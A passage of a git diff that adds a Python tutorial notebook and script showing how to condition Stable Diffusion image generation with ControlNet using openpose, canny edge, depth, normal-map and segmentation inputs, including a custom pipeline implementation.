"outputId": "d605305f-4c8e-40dd-e238-13131f64c961" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 401 + }, + "id": "Uqhw6NR4ryYG", + "outputId": "2f3c8930-541b-49d7-fb87-374972c078e5" + }, + "outputs": [], + "source": [ + "# do all the preprocessing to get the normal image\n", + "image = depth_estimator(image_input)['predicted_depth'][0]\n", + "\n", + "image = image.numpy()\n", + "\n", + "image_depth = image.copy()\n", + "image_depth -= np.min(image_depth)\n", + "image_depth /= np.max(image_depth)\n", + "\n", + "bg_threhold = 0.4\n", + "\n", + "x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3)\n", + "x[image_depth < bg_threhold] = 0\n", + "\n", + "y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3)\n", + "y[image_depth < bg_threhold] = 0\n", + "\n", + "z = np.ones_like(x) * np.pi * 2.0\n", + "\n", + "image = np.stack([x, y, z], axis=2)\n", + "image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5\n", + "image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8)\n", + "image_normal = Image.fromarray(image)\n", + "\n", + "image_normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "7aed2e247f5e488991be8b97ab6bae6a", + "f8b042b72ea1403284bc45b55cbfcdcf", + "9dcbc2386e3c4d6e820fd6baed91f0df", + "67768915a19a448c94620204f861d005", + "a218d578aded48ba8acca854622c14a9", + "5cbe59686c0d475a8e2274ffcb64d992", + "3bf3dd9f53354c758187674b5b1eac19", + "a1ed5abc44e94c1ea19fa959fc95b91a", + "7669fb4960904becb83cbdc4169a121b", + "7699034aeb584f12864aaa30a7f2e6b5", + "0762e7a5efb84a4b9bf60c5cf3235671" + ] + }, + "id": "_BLefbf1ryYG", + "outputId": "be063e2c-4e78-4c1e-cbe3-98fd0dcdad72" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A colorful butterfly sitting on apples\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 433, + "referenced_widgets": [ + "ad63323795ae48679bb40de0056219d3", + "4cb413851dc3469a8ea04e40373b11de", + "21549aef7c6f4c64b8eb676c6dd105e2", + "7cd3b5a0ce274ae5b5954a3c7d9d3bb4", + "4a3a0d14e22f4a6e9dbb5fb35bc33e8d", + "8d2f2b219308442db07d23b057f8e7cf", + "7b9508943bee4f76b996ba561d4bbe9b", + "94cc8073f13f45b085e1f23d3d4bbbc9", + "cd502f2ef8814082979d147f08177ff6", + "f357992a28754d7689721ebda28f0b0f", + "2f8938d9a9254868869767a332bdf84f" + ] + }, + "id": "c-iOJPe1ryYH", + "outputId": "ee338887-1753-47f0-aed3-838749415d3a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A beautiful design\", image_normal, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "_zlU00SCzecq" + }, + "source": [ + "# Segmentation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iLEetydkzec_" + }, + "outputs": [], + "source": [ + "from transformers import AutoImageProcessor, UperNetForSemanticSegmentation\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "cbbf80dd8dc9471197c49732ae4d08ee", + "0a8a88ac007a41e4b0096fb114fe8a47", + "d4c98d8a36eb4f769e23aa3f36535a0f", + "20f315f7aae840d19ee8a068c68ff63c", + "c420c12b2a76457c9ec7bb9db8eac9b3", + "e38139b6898e4897b67aac89ee982c7a", + "5e144bb789054a88a43db4329bb2df05", + "15de6a583c5e4525a559749577fd4331", + "4af5ce87c2a243238375d7edf93d08b2", + "56cc25e58ea3445f9135817143224d2c", + "6c6f19d716d2410b813e32f3b051619a", + "7f1b3b31059e4abbbe62bd88da98627d", + "0ee14dea902c4efe81c616f34dbc7562", + "e43b78d4e4844565ad39e979861285a8", + "9ba3483798e8439aab7d5560c1a5bac1", + "993b867eff394cfe843eb18ee194b8d6", + "b1659a9d5e294f9bbc1b20e892e16326", + "308c9dc88e034f4bbcb4ee24628694ba", + "0e38cf52fb3d40d5a87ec975499ef648", + "a37c136cb6c34c1ea5a66bd78c5750ae", + "60ebb0e8c1174c839a26182b38d4ae9b", + "f3be39d3186448afb9d851b9732df52b", + "7d9df7ed952144dfacc3d2908497ce94", + "7010861902ab409e9a4f65efad33683c", + "978ecf658d464bc999bc8a5c540e3ad0", + "198e8a1603fc40218d805d46da1cc603", + "ee7d2281e6964da8a3e610343a7de76d", + "c30088b9866c429fa513397b03d2e3c8", + "f48a988402a947a098ed14bfd0dc9a53", + "f0a064bb91524f01972e941a3bd7354d", + "7efd39ed94f94ecd9292069da0697a5f", + "54746d0ef2e7453faddcc3b6066def51", + "ff535db7c20f4719820b0b483a3a41ff", + "3282a8068816447285333083b4c8fe96", + "2c260ce7a89840e3857942d9294f9321", + "eba07e4598814b6cb22ba58d16587cf3", + "cfe9f9f05cb8493f804cd521a3e3c1c1", + "b3418378805c4029aa6e6b939ae3c84b", + "2cd604429546460d8e79a7ac4980d4cd", + "1cf1b7e84b744edf907f94aa3d1983bc", + "ab44913ac7c44a0f89a963fddf9dba39", + "c9678e8106544428a9f155e2da9f2693", + "15ce5867e9ba470b94f0408cfa8236ad", + "ee848051813f401c958c169f8b77a323", + "71ee3795a28a4776bdb13f68f11ffaaa", + "af113f9b9b1749f0a856b3f371f03a2d", + "83cb84140f504cdaa6d5ed308baaa9bf", + "f81e6ba8c0ee4d19afc1691be3650a94", + "8bc53de7028e4a05bc683a6f47548d62", + "72fc016402374ad996a292470fa75906", + "4ec20db88a97441982a914517888a8b4", + "75837fa1f8ed4a7b8734f0c49e3bb6d0", + "527478832a8e451ea056c50ee2b241ab", + "e1877e0c82a1464597250ef0572d2679", + "3005ddef183645cbb3039da2a621ebf4" + ] + }, + "id": "BRZqE7YLzedA", + "outputId": "b9f4d2e9-2667-4992-f3d5-f574108640ec" + }, + "outputs": [], + "source": [ + "# load the image processor and the model for doing segmentation\n", + "image_processor = AutoImageProcessor.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "image_segmentor = UperNetForSemanticSegmentation.from_pretrained(\"openmmlab/upernet-convnext-small\")\n", + "\n", + "# load the controlnet model for semantic segmentation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-seg\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "ZzEaHeM2zedA" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "3kZI0eD2zkfm" + }, + "outputs": [], + "source": [ + "# define color palette that is used by the semantic segmentation models\n", + "\n", + "palette = np.asarray([\n", + " [0, 0, 0],\n", + " [120, 120, 120],\n", + " [180, 120, 120],\n", + " [6, 230, 230],\n", + " [80, 50, 50],\n", + " [4, 200, 3],\n", + " [120, 120, 80],\n", + " [140, 140, 140],\n", + " [204, 5, 255],\n", + " [230, 230, 230],\n", + " [4, 250, 7],\n", + " [224, 5, 255],\n", + " [235, 255, 7],\n", + " [150, 5, 61],\n", + " [120, 120, 70],\n", + " [8, 255, 51],\n", + " [255, 6, 82],\n", + " [143, 255, 140],\n", + " [204, 255, 4],\n", + " [255, 51, 7],\n", + " [204, 70, 3],\n", + " [0, 102, 200],\n", + " [61, 230, 250],\n", + " [255, 6, 51],\n", + " [11, 102, 255],\n", + " [255, 7, 71],\n", + " [255, 9, 224],\n", + " [9, 7, 230],\n", + " [220, 220, 220],\n", + " [255, 9, 92],\n", + " [112, 9, 255],\n", + " [8, 255, 214],\n", + " [7, 255, 224],\n", + " [255, 184, 6],\n", + " [10, 255, 71],\n", + " [255, 41, 10],\n", + " [7, 255, 255],\n", + " [224, 255, 8],\n", + " [102, 8, 255],\n", + " [255, 61, 6],\n", + " [255, 194, 7],\n", + " [255, 122, 8],\n", + " [0, 255, 20],\n", + " [255, 8, 41],\n", + " [255, 5, 153],\n", + " [6, 51, 255],\n", + " [235, 12, 255],\n", + " [160, 150, 20],\n", + " [0, 163, 255],\n", + " [140, 140, 140],\n", + " [250, 10, 15],\n", + " [20, 255, 0],\n", + " [31, 255, 0],\n", + " [255, 31, 0],\n", + " [255, 224, 0],\n", + " [153, 255, 0],\n", + " [0, 0, 255],\n", + " [255, 71, 0],\n", + " [0, 235, 255],\n", + " [0, 173, 255],\n", + " [31, 0, 255],\n", + " [11, 200, 200],\n", + " [255, 82, 0],\n", + " [0, 255, 245],\n", + " [0, 61, 255],\n", + " [0, 255, 112],\n", + " [0, 255, 133],\n", + " [255, 0, 0],\n", + " [255, 163, 0],\n", + " [255, 102, 0],\n", + " [194, 255, 0],\n", + " [0, 143, 255],\n", + " [51, 255, 0],\n", + " [0, 82, 255],\n", + " [0, 255, 41],\n", + " [0, 255, 173],\n", + " [10, 0, 255],\n", + " [173, 255, 0],\n", + " [0, 255, 153],\n", + " [255, 92, 0],\n", + " [255, 0, 255],\n", + " [255, 0, 245],\n", + " [255, 0, 102],\n", + " [255, 173, 0],\n", + " [255, 0, 20],\n", + " [255, 184, 184],\n", + " [0, 31, 255],\n", + " [0, 255, 61],\n", + " [0, 71, 255],\n", + " [255, 0, 204],\n", + " [0, 255, 194],\n", + " [0, 255, 82],\n", + " [0, 10, 255],\n", + " [0, 112, 255],\n", + " [51, 0, 255],\n", + " [0, 194, 255],\n", + " [0, 122, 255],\n", + " [0, 255, 163],\n", + " [255, 153, 0],\n", + " [0, 255, 10],\n", + " [255, 112, 0],\n", + " [143, 255, 0],\n", + " [82, 0, 255],\n", + " [163, 255, 0],\n", + " [255, 235, 0],\n", + " [8, 184, 170],\n", + " [133, 0, 255],\n", + " [0, 255, 92],\n", + " [184, 0, 255],\n", + " [255, 0, 31],\n", + " [0, 184, 255],\n", + " [0, 214, 255],\n", + " [255, 0, 112],\n", + " [92, 255, 0],\n", + " [0, 224, 255],\n", + " [112, 224, 255],\n", + " [70, 184, 160],\n", + " [163, 0, 255],\n", + " [153, 0, 255],\n", + " [71, 255, 0],\n", + " [255, 0, 163],\n", + " [255, 204, 0],\n", + " [255, 0, 143],\n", + " [0, 255, 235],\n", + " [133, 255, 0],\n", + " [255, 0, 235],\n", + " [245, 0, 255],\n", + " [255, 0, 122],\n", + " [255, 245, 0],\n", + " [10, 190, 212],\n", + " [214, 255, 0],\n", + " [0, 204, 255],\n", + " [20, 0, 255],\n", + " [255, 255, 0],\n", + " [0, 153, 255],\n", + " [0, 41, 255],\n", + " [0, 255, 204],\n", + " [41, 0, 255],\n", + " [41, 255, 0],\n", + " [173, 0, 255],\n", + " [0, 245, 255],\n", + " [71, 0, 255],\n", + " [122, 0, 255],\n", + " [0, 255, 184],\n", + " [0, 92, 255],\n", + " [184, 255, 0],\n", + " [0, 133, 255],\n", + " [255, 214, 0],\n", + " [25, 194, 194],\n", + " [102, 255, 0],\n", + " [92, 0, 255],\n", + "])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "GjsCwREqzedB", + "outputId": "6ac8fcaf-a89b-4bef-bd9b-31fd753568d7" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "qK5gkfCIzedB", + "outputId": "71e92874-04d1-459a-8cc6-89bc31796b2f" + }, + "outputs": [], + "source": [ + "# get the pixel values\n", + "pixel_values = image_processor(image_input, return_tensors=\"pt\").pixel_values\n", + "\n", + "# do semantic segmentation\n", + "with torch.no_grad():\n", + " outputs = image_segmentor(pixel_values)\n", + "\n", + "# post process the semantic segmentation\n", + "seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0]\n", + "\n", + "# add colors to the different identified classes\n", + "color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3\n", + "for label, color in enumerate(palette):\n", + " color_seg[seg == label, :] = color\n", + "\n", + "# convert into PIL image format\n", + "color_seg = color_seg.astype(np.uint8)\n", + "image_seg = Image.fromarray(color_seg)\n", + "\n", + "image_seg" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + 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b/machine-learning/control-image-generation-with-controlnet/README.md new file mode 100644 index 00000000..d7e237d6 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/README.md @@ -0,0 +1 @@ +# [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface) \ No newline at end of file diff --git a/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py new file mode 100644 index 00000000..55397665 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py @@ -0,0 +1,689 @@ +# %% +!pip install -qU xformers diffusers transformers accelerate + +# %% +!pip install -qU controlnet_aux +!pip install opencv-contrib-python + +# %% [markdown] +# # Open Pose + +# %% +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from controlnet_aux import OpenposeDetector +from diffusers.utils import load_image +from tqdm import tqdm +from torch import autocast + +# %% +# load the openpose model +openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet') + +# load the controlnet for openpose +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-openpose", torch_dtype=torch.float16 +) + +# define stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# Remove if you do not have xformers installed +# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers +# for installation instructions +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg") +image_input + +# %% +image_pose = openpose(image_input) +image_pose + +# %% +image_output = pipe("A professional photograph of a male fashion model", image_pose, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Custom implementation + +# %% +class ControlNetDiffusionPipelineCustom: + """custom implementation of the ControlNet Diffusion Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + controlnet, + scheduler, + image_processor, + control_image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.controlnet = controlnet + self.image_processor = image_processor + self.control_image_processor = control_image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, + num_channels_latents, + height // 8, + width // 8)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale=7.5): + """denoises latents from noisy latent to a meaningful latent as conditioned by controlnet""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + control_model_input = latents + controlnet_prompt_embeds = prompt_embeds + + # get output from the control net blocks + down_block_res_samples, mid_block_res_sample = self.controlnet( + control_model_input, + t, + encoder_hidden_states=controlnet_prompt_embeds, + controlnet_cond=controlnet_image, + conditioning_scale=1.0, + return_dict=False, + ) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + down_block_additional_residuals=down_block_res_samples, + mid_block_additional_residual=mid_block_res_sample, + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def prepare_controlnet_image(self, + image, + height, + width): + """preprocesses the controlnet image""" + + # process the image + image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32) + # send image to CUDA + image = image.to(self.device) + # repeat the image for classifier free guidance + image = torch.cat([image] * 2) + return image + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=7.5, + height=512, width=512): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # prepare image for controlnet + controlnet_image = self.prepare_controlnet_image(image, height, width) + height, width = controlnet_image.shape[-2:] + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.unet.config.in_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well) +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +controlnet = pipe.controlnet +scheduler = pipe.scheduler +image_processor = pipe.image_processor +control_image_processor = pipe.control_image_processor + +# %% +custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor) + +# %% +# sample image 1 +images_custom = custom_pipe("a fashion model wearing a beautiful dress", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image 2 +images_custom = custom_pipe("A male fashion model posing in a museum", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image with a different prompt +images_custom = custom_pipe("A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD", image_pose, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% + + +# %% [markdown] +# # Canny + +# %% +import cv2 +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +import numpy as np +from diffusers.utils import load_image + +# %% +# load the controlnet model for canny edge detection +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-canny", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png") +image_input = np.array(image_input) + +Image.fromarray(image_input) + +# %% +# define parameters from canny edge detection +low_threshold = 100 +high_threshold = 200 + +# do canny edge detection +image_canny = cv2.Canny(image_input, low_threshold, high_threshold) + +# convert to PIL image format +image_canny = image_canny[:, :, None] +image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2) +image_canny = Image.fromarray(image_canny) + +image_canny + +# %% +image_output = pipe("bird", image_canny, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("a cute blue bird with colorful aesthetic feathers", image_canny, num_inference_steps=20).images[0] +image_output + +# %% + + +# %% [markdown] +# # Depth + +# %% +from transformers import pipeline +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from PIL import Image +import numpy as np +import torch +from diffusers.utils import load_image + +# %% +# load the depth estimator model +depth_estimator = pipeline('depth-estimation') + +# load the controlnet model for depth estimation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-depth", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png") +image_input + +# %% +# get depth estimates +image_depth = depth_estimator(image_input)['depth'] + +# convert to PIL image format +image_depth = np.array(image_depth) +image_depth = image_depth[:, :, None] +image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2) +image_depth = Image.fromarray(image_depth) + +image_depth + +# %% +image_output = pipe("Darth Vader giving lecture", image_depth, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine", image_depth, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Normal + +# %% +from PIL import Image +from transformers import pipeline +import numpy as np +import cv2 +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from diffusers.utils import load_image + +# %% +# load the Dense Prediction Transformer (DPT) model for getting normal maps +depth_estimator = pipeline("depth-estimation", model ="Intel/dpt-hybrid-midas") + +# load the controlnet model for normal maps +controlnet = ControlNetModel.from_pretrained( + "fusing/stable-diffusion-v1-5-controlnet-normal", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg") +image_input + +# %% +# do all the preprocessing to get the normal image +image = depth_estimator(image_input)['predicted_depth'][0] + +image = image.numpy() + +image_depth = image.copy() +image_depth -= np.min(image_depth) +image_depth /= np.max(image_depth) + +bg_threhold = 0.4 + +x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3) +x[image_depth < bg_threhold] = 0 + +y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3) +y[image_depth < bg_threhold] = 0 + +z = np.ones_like(x) * np.pi * 2.0 + +image = np.stack([x, y, z], axis=2) +image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5 +image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8) +image_normal = Image.fromarray(image) + +image_normal + +# %% +image_output = pipe("A colorful butterfly sitting on apples", image_normal, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A beautiful design", image_normal, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Segmentation + +# %% +from transformers import AutoImageProcessor, UperNetForSemanticSegmentation +from PIL import Image +import numpy as np +import torch +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from diffusers.utils import load_image + +# %% +# load the image processor and the model for doing segmentation +image_processor = AutoImageProcessor.from_pretrained("openmmlab/upernet-convnext-small") +image_segmentor = UperNetForSemanticSegmentation.from_pretrained("openmmlab/upernet-convnext-small") + +# load the controlnet model for semantic segmentation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-seg", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +# define color palette that is used by the semantic segmentation models + +palette = np.asarray([ + [0, 0, 0], + [120, 120, 120], + [180, 120, 120], + [6, 230, 230], + [80, 50, 50], + [4, 200, 3], + [120, 120, 80], + [140, 140, 140], + [204, 5, 255], + [230, 230, 230], + [4, 250, 7], + [224, 5, 255], + [235, 255, 7], + [150, 5, 61], + [120, 120, 70], + [8, 255, 51], + [255, 6, 82], + [143, 255, 140], + [204, 255, 4], + [255, 51, 7], + [204, 70, 3], + [0, 102, 200], + [61, 230, 250], + [255, 6, 51], + [11, 102, 255], + [255, 7, 71], + [255, 9, 224], + [9, 7, 230], + [220, 220, 220], + [255, 9, 92], + [112, 9, 255], + [8, 255, 214], + [7, 255, 224], + [255, 184, 6], + [10, 255, 71], + [255, 41, 10], + [7, 255, 255], + [224, 255, 8], + [102, 8, 255], + [255, 61, 6], + [255, 194, 7], + [255, 122, 8], + [0, 255, 20], + [255, 8, 41], + [255, 5, 153], + [6, 51, 255], + [235, 12, 255], + [160, 150, 20], + [0, 163, 255], + [140, 140, 140], + [250, 10, 15], + [20, 255, 0], + [31, 255, 0], + [255, 31, 0], + [255, 224, 0], + [153, 255, 0], + [0, 0, 255], + [255, 71, 0], + [0, 235, 255], + [0, 173, 255], + [31, 0, 255], + [11, 200, 200], + [255, 82, 0], + [0, 255, 245], + [0, 61, 255], + [0, 255, 112], + [0, 255, 133], + [255, 0, 0], + [255, 163, 0], + [255, 102, 0], + [194, 255, 0], + [0, 143, 255], + [51, 255, 0], + [0, 82, 255], + [0, 255, 41], + [0, 255, 173], + [10, 0, 255], + [173, 255, 0], + [0, 255, 153], + [255, 92, 0], + [255, 0, 255], + [255, 0, 245], + [255, 0, 102], + [255, 173, 0], + [255, 0, 20], + [255, 184, 184], + [0, 31, 255], + [0, 255, 61], + [0, 71, 255], + [255, 0, 204], + [0, 255, 194], + [0, 255, 82], + [0, 10, 255], + [0, 112, 255], + [51, 0, 255], + [0, 194, 255], + [0, 122, 255], + [0, 255, 163], + [255, 153, 0], + [0, 255, 10], + [255, 112, 0], + [143, 255, 0], + [82, 0, 255], + [163, 255, 0], + [255, 235, 0], + [8, 184, 170], + [133, 0, 255], + [0, 255, 92], + [184, 0, 255], + [255, 0, 31], + [0, 184, 255], + [0, 214, 255], + [255, 0, 112], + [92, 255, 0], + [0, 224, 255], + [112, 224, 255], + [70, 184, 160], + [163, 0, 255], + [153, 0, 255], + [71, 255, 0], + [255, 0, 163], + [255, 204, 0], + [255, 0, 143], + [0, 255, 235], + [133, 255, 0], + [255, 0, 235], + [245, 0, 255], + [255, 0, 122], + [255, 245, 0], + [10, 190, 212], + [214, 255, 0], + [0, 204, 255], + [20, 0, 255], + [255, 255, 0], + [0, 153, 255], + [0, 41, 255], + [0, 255, 204], + [41, 0, 255], + [41, 255, 0], + [173, 0, 255], + [0, 245, 255], + [71, 0, 255], + [122, 0, 255], + [0, 255, 184], + [0, 92, 255], + [184, 255, 0], + [0, 133, 255], + [255, 214, 0], + [25, 194, 194], + [102, 255, 0], + [92, 0, 255], +]) + +# %% +image_input = 